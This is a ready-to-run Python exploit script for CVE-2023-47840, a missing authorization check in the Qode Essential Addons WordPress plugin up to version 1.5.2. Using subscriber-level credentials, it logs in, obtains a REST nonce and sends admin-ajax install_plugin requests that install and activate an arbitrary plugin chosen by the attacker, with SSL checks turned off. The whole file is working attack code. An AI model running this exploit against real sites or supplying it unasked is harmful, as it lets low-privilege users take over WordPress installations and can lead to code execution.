#!/usr/bin/env python3 import requests import argparse import os # # Exploit script by @RandomRobbieBF # http_proxy = "" os.environ['HTTP_PROXY'] = http_proxy os.environ['HTTPS_PROXY'] = http_proxy # Ignore bad SSL from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def login_and_activate_plugin(siteurl, wp_user, wp_pass,slug): # Log in session = requests.Session() session.verify = False # Ignore SSL verification login_url = siteurl + '/wp-login.php' login_response = session.post(login_url, verify=False, data={ 'log': wp_user, 'pwd': wp_pass, 'rememberme': 'forever', 'wp-submit': 'Log+In' }) cookies = login_response.cookies # Confirm successful login if any('wordpress_logged_in' in cookie.name for cookie in session.cookies): print("Logged in successfully.") else: print("Failed to log in.") exit() # Get REST API Nonce print('Getting REST API Nonce!') nonce_url = siteurl + '/wp-admin/admin-ajax.php?action=rest-nonce' nonce_response = session.get(nonce_url,cookies=cookies) rest_nonce = nonce_response.text.strip() print("Nonce Found: "+rest_nonce+"") # Install Plugin print('Installing Plugin!') paramsPost = {"action":"install_plugin","pluginAction":"install","pluginSlug":slug,"nonce":rest_nonce} headers = {"Origin":"http://wordpress.lan","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0","Referer":""+siteurl+"","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"} install_response = session.post(""+siteurl+"/wp-admin/admin-ajax.php", data=paramsPost, headers=headers,verify=False,cookies=cookies) print("HTTP STATUS: "+str(install_response.status_code)+" Response: "+install_response.text+"") # Activate Plugin print('Activate Plugin!') paramsPost = {"action":"install_plugin","pluginAction":"activate","pluginSlug":slug,"nonce":rest_nonce} headers = {"Origin":"http://wordpress.lan","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0","Referer":""+siteurl+"","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"} activate_response = session.post(""+siteurl+"/wp-admin/admin-ajax.php", data=paramsPost, headers=headers,verify=False,cookies=cookies) print("HTTP STATUS: "+str(activate_response.status_code)+" Response: "+activate_response.text+"") # Add the vulnerability description as a comment DESCRIPTION = """ Qode Essential Addons <= 1.5.2 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation/Activation Description CVE-2023-47840 - The Qode Essential Addons plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the install_plugin() function in all versions up to, and including, 1.5.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to install and activate arbitrary plugins.""" if __name__ == '__main__': parser = argparse.ArgumentParser(description=DESCRIPTION) parser.add_argument('--url', required=True, help='URL of the WordPress site') parser.add_argument('--username', required=True, help='WordPress username') parser.add_argument('--password', required=True, help='WordPress password') parser.add_argument('--slug', required=True, help='WordPress Plugin Slug') args = parser.parse_args() login_and_activate_plugin(args.url, args.username, args.password,args.slug)